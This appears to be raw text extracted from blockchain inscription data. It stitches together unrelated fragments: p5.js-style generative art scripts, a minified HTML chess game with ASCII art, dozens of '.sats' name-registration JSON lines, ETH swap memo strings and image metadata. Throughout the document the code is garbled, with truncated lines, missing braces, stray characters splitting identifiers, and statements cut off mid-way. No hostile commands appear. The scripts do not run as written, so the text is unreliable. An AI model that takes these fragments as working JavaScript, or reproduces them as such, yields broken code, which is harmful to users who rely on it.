        "T1": T1(rand),
    console.log(window.$generativeTraits)
 Add your code here
nst container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    // document.body.prepend(container)
    //License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
    //Author: @devhontran
    //Twitter: https://twitter.com/DevHontran
    //Website: https://hontran.dev
    const scaler = 1;
    let paper, border;
    let shadown = {x: -5, y: 5};
    let layers = [];
    let padding = 40;
    function cyrb128(str) {
= 1779033703, h2 = 3144134277,
            h3 = 1013904242, h4 = 2773480762;
        for (let i = 0, k; i < str.length; i++) {
            k = str.charCodeAt(i);
            h1 = h2 ^ Math.imul(h1 ^ k, 597399067);
            h2 = h3 ^ Math.imul(h2 ^ k, 2869860233);
            h3 = h4 ^ Math.imul(h3 ^ k, 951274213);
            h4 = h1 ^ Math.imul(h4 ^ k, 2716044179);
        h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067);
        h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233);
        h3 = Math.imul(h1 ^ (h3M
 >>> 17), 951274213);
        h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179);
        return [(h1^h2^h3^h4)>>>0, (h2^h1)>>>0, (h3^h1)>>>0, (h4^h1)>>>0];
    function sfc32_c(a, b, c, d) {
        a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0;
        var t = (a + b) | 0;
        a = b ^ b >>> 9;
        b = c + (c << 3) | 0;
        c = (c << 21 | c >>> 11);
        d = d + 1 | 0;
        t = t + d | 0;
        c = c + t | 0;
        return (t >>> 0) / 4294967296;
    // return random value from [l -> r]
function consistentRand (seed, l, r) {
        const rand = sfc32_c(...cyrb128(seed.toString()));
        return l + rand * (r - l)
    function getRandomItem (listP, seed) {
        const pref = []
        for (const x of listP) pref.push(x)
        for (let i = 1; i < listP.length; i++) {
            pref[i] += pref[i - 1]
        for (let i = 0; i < pref.length; i++) pref[i] /= pref[pref.length - 1];
        // get random value from 0->1
        const rand = consistentRand(seed, 0, 1)
r (let i = 0; i < pref.length; i++) {
            if (rand < pref[i]) return i;
    function createRadialGradient(x, y, r, x1, y1, r1) {
        const grd = drawingContext.createRadialGradient(x, y, r, x1, y1, r1);
        grd.addColorStop(0,"#FFFFFF");
        grd.addColorStop(1,"#E5E5E3");
        drawingContext.fillStyle = grd;
        drawingContext.fillRect(0, 0, width, height);
    function artNosie(){
        const w = width * 1.2;
        const h = height * 1.2M
        paper = createGraphics(w, h);
        for(let i = 0 ; i< 100000; i++){
            let x = random(w);
            let y = random(h);
            let dotSize = 10.0*(noise(x/(width / 4), y/(height / 4))*2 - noise(x/width, y/height));
            paper.strokeWeight(random(0.25, 3));
            paper.stroke(random(20, 80), random(1+dotSize, 4+dotSize));
            paper.point(x, y);
    function generabox(col, pos, si){
        const layer = createGraphics(width, height);
ill(140, 178, 250, 56);
        layer.noStroke();
        layer.rect(pos.x + shadown.x, pos.y + shadown.y, si.w, si.h);
        layer.filter(BLUR, 3);
        layer.fill(col.r, col.g, col.b, col.a);
        layer.noStroke();
        layer.rect(pos.x, pos.y, si.w, si.h);
        layers.push(layer);
    function setup() {
        const hash = rand ? rand : Math.random();
        const fCol = {r: 255, g: 255, b: 255};
        const s = min(window.innerWidth, window.innerHeight)
        createCanvas(s,s);M
        for(let i=0; i<9; i++){
            const tHash = `${hash}_${i}`;
            const cyrHash = cyrb128(tHash);
            const mixHash_color_r = consistentRand(cyrHash[0], 0, 1);
            const mixHash_color_g = consistentRand(cyrHash[1], 0, 255);
            const mixHash_color_b = consistentRand(cyrHash[2], 0, 255);
            const mixHash_color_a = 255;//consistentRand(cyrHash[3], 100, 255);
            const sw = consistentRand(cyrHash[0],50, width / 2);
            const sh = consistentRaM
nd(cyrHash[3], 50, height / 2);
            const col = {r: mixHash_color_r, g: mixHash_color_g, b: mixHash_color_b, a: mixHash_color_a};
            const si = {w: sw, h: sh};
            const pos_x = consistentRand(cyrHash[1], padding, width- padding - si.w);
            const pos_y = consistentRand(cyrHash[2], padding, height- padding - si.h);
            const pos = {x: pos_x, y: pos_y}
            // console.log('___i', col, pos, si);
            generabox(col, pos, si);
        const borderSize = 30;
        border = createGraphics(width, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(0, 0, borderSize, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(width - borderSize, 0, borderSize, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(0, 0, width, borderSize);
        border.fill(fCol.r, fCol.g, fCol.b, 255)M
        border.noStroke();
        border.rect(0, height - borderSize, width, borderSize);
    function draw() {
        background('#ffffff');
        blendMode(BLEND);
        for(let i=0; i<9; i++){
            image(layers[i], 0, 0, width, height);
        blendMode(MULTIPLY)
        createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, height);
        blendMode(MULTIPLY);
        image(paper, 0, 0, width, height);
        image(border,M-
 0, 0, width, height);
    function windowResized() {
        const s = min(window.innerWidth, window.innerHeight)
        resizeCanvas(s, s);
 Add your code here
FjDOUT:D078C5817DBABDFF18C966F51BD217B322269F02F44AF8EC21A53B52885BFFDE
FjDOUT:A6250E7A1ECAD273E8092B8680E51CFE32B0C1D10E9D63B1F77C18F9713CD5FF
FjDOUT:7075BA909596D5102275E8FA70D779C92C611952F11B37CC943D1D40DED6CE25
FjDOUT:3C16EF1803CCC5F311CFCB139798CD7A4C43E5D45B8CB73C41BCD8C193FF7E01
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
  "name": "HashKey Group.sats"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"bc1q.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aza.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"zza.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"0z0.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"0a0.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aa0.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"9z9.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"zaz.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"az1.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"zz0.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"zz9.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"0zz.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"00z.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"99z.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"zz1.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"z99.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"1zz.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"9a9.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"00a.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"11z.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"z9z.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"9zz.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"azz.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"lxq.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"dsp.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"mhy.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"jpn.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"digg.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ntr.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"ccav.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ddl.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"sb8u.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ggw.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"jft.sats"}h!
Aj?=:ETH.ETH:0x7f74afd1d4b4ab01D572454AeebB3eD5e48F39F2:8938622::0
Bj@=:ETH.ETH:0x8095834D32A693B9988305ABE81F9d065Cc7345e:34724085::0
text/plain;charset=utf-8
Aj?=:ETH.ETH:0xaC99F34646cE3424323A2c88eb2037DD9d46d6A7:7186090::0
DjB=:ETH.ETH:0xCB3B9b7aF0B74B40F28Ee840D387696E9D88DD33:1307781711::0
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
2023-03-02T13:32:02+00:00;_B
2023-03-02T13:32:02+00:00J
2023-03-02T13:32:03+00:00
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "masa.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"00777.sats"}h!
text/plain;charset=utf-8
  "name": "7117.sats"
gUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUJO
text/plain;charset=utf-8
																																				M
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2023-03-02T05:48:50+00:00
2023-03-02T05:48:50+00:00
2023-03-02T05:48:50+00:00
text/plain;charset=utf-8
text/html;charset=utf-8
    <!--- TEWZ1.ETH   https://www.www.tewz1.com      https://opensea.io/tewz    DUST 1AHV2TSdVsydxx2eSMyxKg6HfAgXAKNafW
				      https://www.twitter.com/tewz1  https://tewz.cent.co/           TEWZ1.ETH      <pre>


                                                                    .%*&         M
                                                                   #/**/&*/,(
                                                 #*./*              *##. ///&
                                                //**/%              ###  @@
                                                  #//         &,,(  #@(/,#
                         .%(&                      /(/.       /%&/ &%%(@%@                      M
                         /*,/(                    (,&/@(       &(,%%((&*%&
                          *,,@                    (*%//%%((%  @#@(#((((##%
                            &***#        %**%    /.@/////(@(//*,&(((((((#
         ,&.                 ,@/(*,@*    .@/@  &**@///////////((((((((((#@
        #**#@                (,*,**/@,.***//(*,#%/////////////&@@%*,.,/(((((
  ,/#.   /**%      #.****,*******,.(&/*/////&&//////(%&%########@
       (/(#.  ,,@/&* (&//@# &*&.***************#&.*///(((((((/////(((((((((@
            %/@ &%((&**/#@&%.%.#******,*,((,***/((((/**/**,,*//////(/(%@@@@&%&@@/
               @(@((/////*,/@(******,**,/(%(//**,**,,,*////(@%*..*///(%@@@@%##%&&&&&
                 &/(//////////#***/(@((*,.  ....****&%.,**//(@@@&%#%&&&&#####%&&&&%##(%&
                   *,%///M
@(,/((@#(*......,,**#(*****#@&/  .%#.     %&&&(      .&&&&   ,&&#
                      @**(&@(/*.,/,***//*****(@&.       &&PEPE&&     &(      &&CHESS&    &
                     &(@%(/*/////(*/**/#@&(####.        &&&&  &&     &&      &&&%  &&    *
                       &@(//(#,,/(%@%########@###&       &&&&&&     ,&&&,     ,&&&@.     &
                         @/*/(@@################&%###@*           &&&%&&####%&&%*../&&##%
                        #(%@############M
####&######(&&&%((######(&&#####&&%#####&&&&&&,
                        @(######################%&&&&&&&&&&&&&&###########&&&&#####(&&
                        ###########&###%%###################################%&#########&,
                        ############(########(%&######################################&##(
                        ############%#####&#############&&&#####################%&######&
                        &#############&#####((((%&#####M
############################&/
                        *(###############%####&((((((((((((((((((((((((&,,,,,,,,&####&
                          &#################%#####&*,,,,,,/&(((((((((((((#,,,,,,,,,####*
                             &#################&#######%#,,,,,,/&((((((#/,,,,,,,,%%####,
                                @##################&################%%%%%#############.
                                    &###################&%###########@M
%############(*
                                        /&######################################@
                                               *&&#####################%&&/


                                                The game of chess is like a sword fight
                             M
                     You must think first before you move
              /pre>--->
<meta charset="UTF-8">
<title>PEPE CHESS</title>
    background: black;
    align-items: center;
    justify-content: center;
    <b><center><font color="green">
 <font size="4">PEPE CHESS</font>
    piecesCosts = [0,99,0,306,297,495,846],
    rowsCosts = [-1,0,1,2,2,1,0,-1];
function movesForPiece(piece) {
        [9,11,10,20],
        [-1,1,-10,10,-11,-9,9,11],
        [-21,-19,-12,-8,8,12,19,21],
        [-11,-9,9,11],
        [-1,1,-10,10],
        [-1,1,-10,10,-11,-9,9,11]
    if ((piece & 15) == 9)
        return [-9,-11,-10, -20];
function executeMove(O, p, n, m, g) {
        board[g] = board[m];
        board[m] = 0;
        board[g] = 0;
function undoMove(O, p, o, r, m, g) {
        board[m] = board[g];
        board[g] = 0;
        board[g] = 9 ^ y;
function X(w,c,h,e,S,s) {
      K = (78 - h) << x,
        a = y ? -x : x,
    d = w || (s && s>=h && X(0,0,0,21,0,0) > M);
        o = board[p];
            q = o & z ^ y;
            if (q < 7) {
                q--;
                moves = movesForPiece(o);
                C = 0;
                do {
                    p += moves[C];
                    r = board[p];
             if (!w | p == w) {
                        g = (q == 0 && p + a == S) ? S : 0;
                        if ((!r & (!!q | C>1 || !!g)) || ((r+1&z^y)>9 && (q | C<2))) {
                            m = !(r - 2 & 7);
                            if (m) {
                                y ^= 8;
                                I[G--] = O;
                                return K;
                            }
                            J = n = o & z;
                            E = board[p - a] & z;
                   t = (q | E-7) ? n : (n+=2,6^y);
                            while (n <= t) {
                                L = r ? piecesCosts[r&7]-h-q : 0; // value of the attacked piece (0 for empty cell)
                                if (s) {
                                    L+=((1-q) ? rowsCosts[(p-p%x)/x-2] - rowsCosts[(O-O%x)/x-2] +
                                                rowsCosts[p%x-1]*(q?1:2) - rowsCosts[O%x-1] + (o&16)/2
                                              : !!m * 9) +
                                (!q ? !(board[p-1]^n) + !(board[p+1]^n) + piecesCosts[n&7] - 99 + !!g * 99 + (C == 3)
                                           : 0) +
                                       !(E ^ y ^ 9);
                                }
                                if ((s > h) || ((1<s & s==h) && (L>z | d))) {
                                    executeMove(O, p, n, m, g);
                                    J = (q | C<3) ? 0 : p;
                                    L -= X((s > h | d) ? 0 : p,
                                           L - N,
                                           h + 1,
                                           I[G+1],
                                           J,
                                           s);
                                    if (!h && s == 1 && B == O && i == n && p == b && L >= -M) {
                                        DrawPieces();
                                        G--;
                                        u = J;
                                 M
                                    }
                                    J = (q-1 | C>1) || m || (!s | d | r | o<z) || X(0,0,0,21,0,0) > M;
                                    undoMove(O, p, o, r, m, g);
                                }
                                if (L>N || (s>1 && L==N && !h && Math.random()<.5)) {
                                    I[G] = O;
                                    if (s > 1) {
                                        if (h && L > c) {
                         M
                   y ^= 8;
                                            G--;
                                            return L;
                                        }
                                        if (!h) {
                                            i = n;
                                            B = O;
                                            b = p;
                                        }
                                    }
                                    N = L;
                      M
                                n += J || (g = p, m = (p < O) ? g-3 : g+2,(board[m] != (21 ^ y) | board[m+O-p]) || board[p+=p-O]) ? 1 : 0;
                            }
                        }
                    }
                } while ((!r & q>2) || (p=O, (q | C < 2 | o > z & !r) && (++C < moves.length)));
    } while ((++O > 98) ? O = 20 : e - O);
    return (N + M*M && (N > 1924-K | d)) ? N : 0;
function SetupChessboard() {
    var initial = chess960();
    for (y=0; y<12; y++) {
        for (x=0; x<10; x++) {
            if (x<1 || y<2 || x>8 || y>9) {
                board[y*10+x] = 7;
            } else if (y>=4 && y<=7) {
                board[y*10+x] = 0;
            } else {
                board[y*10+x] = initial[i++] | 16;
function chess960() {
    var a=Math.floor(Math.random()*1);
    case 0 : sp = [5,3,4,6,2,4,3,5,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9M
,9,13,11,12,14,10,12,11,13]; break;
function CreateChessboardView() {
    var a = "<table cellspacing=0 align=center>";
    for (y=0; y<8; y++) {
        a += "<tr>";
        for (x=0; x<8; x++) {
            i = y*10 + x + 21;
            a += "<th width=44 height=70 onclick=OnClick(" + i + ") id=o" + i +
                 " style='line-height:44px;font-size:44px;border:2px solid #dde' bgcolor=#" +
                 (((x+y) & 1) ? "red'>" : "green' style='backgrM
ound-color: green'>");
        a += "</tr>";
    a += "<tr><th colspan=8><select id=t style='font-size:30px'>";
    a += "<option>&#9819;<option>&#9820;<option>&#9821;<option>&#9822;";
    a += "</select></tr></table>";
    document.write(a);
function DrawPieces() {
    var pieces = "\xa0\u265f\u265a\u265e\u265d\u265c\u265b  \u2659\u2654\u2658\u2657\u2656\u2655";
    for (p=21; p<99; ++p) {
        if (q = document.getElementById("o" + p)) {
            q.innerHTML = piecesM
.charAt(board[p] & 15);
            q.style.borderColor = (p == B) ? "red" : "green";
var clickLock = false;
function OnClick(s) {
    i = (board[s] ^ y) & z;
        DrawPieces();
    } else if (B && i<9) {
        i = board[B] & z;
        if ((i & 7) == 1 & (b < 29 | b > 90))
            i = 14 - document.getElementById("t").selectedIndex ^ y;
        X(0,0,0,21,u,1);
            clickLock = truL
            setTimeout("X(0,0,0,21,u,2/*ply*/);X(0,0,0,21,u,1);clickLock=false;",250);
CreateChessboardView();
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"646.sats"}h!
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
-http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM
p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BDEC5F35B23E11ED8AF4AE1F7FB15E7D" xmpMM:DocumentID="xmp.did:BDEC5F36B23E11ED8AF4AE1F7FB15E7D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BDEC5F33B23E11ED8AF4AE1F7FB15E7D" stRef:documentID="xmp.did:BDEC5F34B23E11ED8AF4AE1F7FB15E7D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
)A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
text/plain;charset=utf-8
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"chatgpt.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"metajam.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"chongqing.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"jojo.sats"}h!
text/plain;charset=utf-8
  "name": "stars.sats"
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
  "name": "stars.sats"
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"cryptojean.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"maxchen.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"jojoliang.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"gracechen.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"mirachen.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"m7e.sats"}h!
text/plain;charset=utf-8
2{"p":"sns","op":"reg","name":"gabrielleydon.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9718.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"8818.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"8819.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"8820.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"1004.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"1006.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"1008.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"1011.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"1049.sats"}h!
Aj?=:ETH.ETH:0x621c3cee22181124d47b34fc9085874af559ceb7:1348412566
  "name": "villian.sats"
text/plain;charset=utf-8
  "name": "image.sats"
6j4ion:2.QmNUxDLutxwi8sUXctfkiBm7jcgtSQE9S4y7urL6TetGZv
text/plain;charset=utf-8
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"definemo.sats"}h!
text/plain;charset=utf-8
FjDOUT:CF3FDB3435DE2EA6CD0DF3968ABD7C82B5C7CE7663BB208EFCAEB2FFB118D737
FjDOUT:7E4AD51A1C6F6AFC8D4352F47B45B9F6FB01602C3AA8CA9FE152128E22A9953C
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"9532.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/html;charset=utf-8
<meta charset="UTF-8">
<title>Angular Decay</title>
<script id="snippet-random-code" type="text/javascript">
let seed = window.location.href.split('/').find(t => t.includes('i0'));
const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
let pattern = "seed=";
for (let i = 0; i <M
 seed.length - pattern.length; ++i) {
if (seed.substring(i, i + pattern.length) == pattern) {
seed = seed.substring(i + pattern.length);
function cyrb128($) {
let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM
 ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
function sfc32($, _, u, i) {
return function () {
var l = ($ >>>= 0) + (_ >>>= 0) | 0;
return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
let mathRand = sfc32(...cyrb128(seed));
<style>body {margin: 0px;} </style>M
<canvas id="target"></canvas>
<script type="text/javascript">
const rand = mathRand();
const rand2 = mathRand();
let sqpix,cp,ratio=0.707,bug=false;
if(rand<0.3){sqpix=0;zoom=false;return"Portrait";}
if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";}
if(rand<0.95){sqpix=1;return"Square";}
sqpix=1;bug=1;return"Bugged";}
if(rand<0.07){cp=12;return "Paper";}
if(rand<0.14){cp=1;return "DPM";}
if(rand<0.21){cp=2;return "Fecktarn";}
if(rand<0.41){cp=4;return "Desert Drill";}
if(rand<0.5){cp=5;return "Urban";}
if(rand<0.6){cp=6;return "Navy";}
if(rand<0.7){cp=7;return "German Winter";}
if(rand<0.8){cp=8;return "Tree";}
if(rand<0.85){cp=9;return "Orange";}
if(rand<0.9){cp=10;return "Harris";}
if(rand<0.95){cp=11;return "Market";}
cp=0;return "Saint";}
window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) }
const container = document.createElement("div")
container.innerHTML = "<span>seed: " + seed + "</spM
let resizeTmr=null,aniFrame=null;
let ofw,ofh,sz,rz=1;
let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[];
var tricount=0,tr=30;
var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[];
var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[];
const init = async () => {
window.addEventListener('resize', async () => {
clearTimeout(resizeTmr)
resizeTmr = setTimeout(async () => {
await layoutCanvas()
await layoutCanvas()
const layoutCanvas = async () => {
const wWidth=window.innerWidth
const wHeight=window.innerHeight
let cHeight=wHeight;
let cWidth=cHeight*ratio;
if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;}
const canvas=document.getElementById('target')
canvas.width=2000*rz;
canvas.height=(2000*rz)/ratio;
canvas.style.position = 'absolute'
canvas.style.width = `${cWidth}px`
canvas.style.height = `${cHeight}px`
canvas.style.left = `${(wWidth - cWidth) / 2}px`
canvas.style.top = `${(wHeight - cHeight) / 2}pM
const drawCanvas = async () => {
if(!tried) setupart();
if (aniFrame) window.cancelAnimationFrame(aniFrame)
const canvas=document.getElementById('target')
const ctx=canvas.getContext('2d')
{let bx=ofw/500,by=ofh/500;
ctx.globalAlpha=0.05;
for(let f=10;f<30; f++){
for(let i=0;i<500; i++){
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff');
drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M
if(gj>500) { drp=3; gj=0; }
for(let f=0;f<tc;f++){
if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz);
else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz);
dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);
dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);}
for(let f=0;f<rc;f++){
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz);
,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);
dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);}
ctx.fillStyle = artcols[0];
ctx.fillRect(0,0,ofw,ofh);
mathRand = sfc32(...cyrb128(seed));
tc=0;rc=0;tricount=0;tr=30;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
tricount=1000;tr=rir(10,50);dor=true;bmp=0;
triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr));
aniFrame = window.requestAnimationM
function triharder( x1,y1, x2,y2)
if(tricount>2500) return;
var x3=x1+rir(-tr,tr);
var y3=y1+rir(-tr,tr);
if(x3<0){x3+=tr;bmp++}
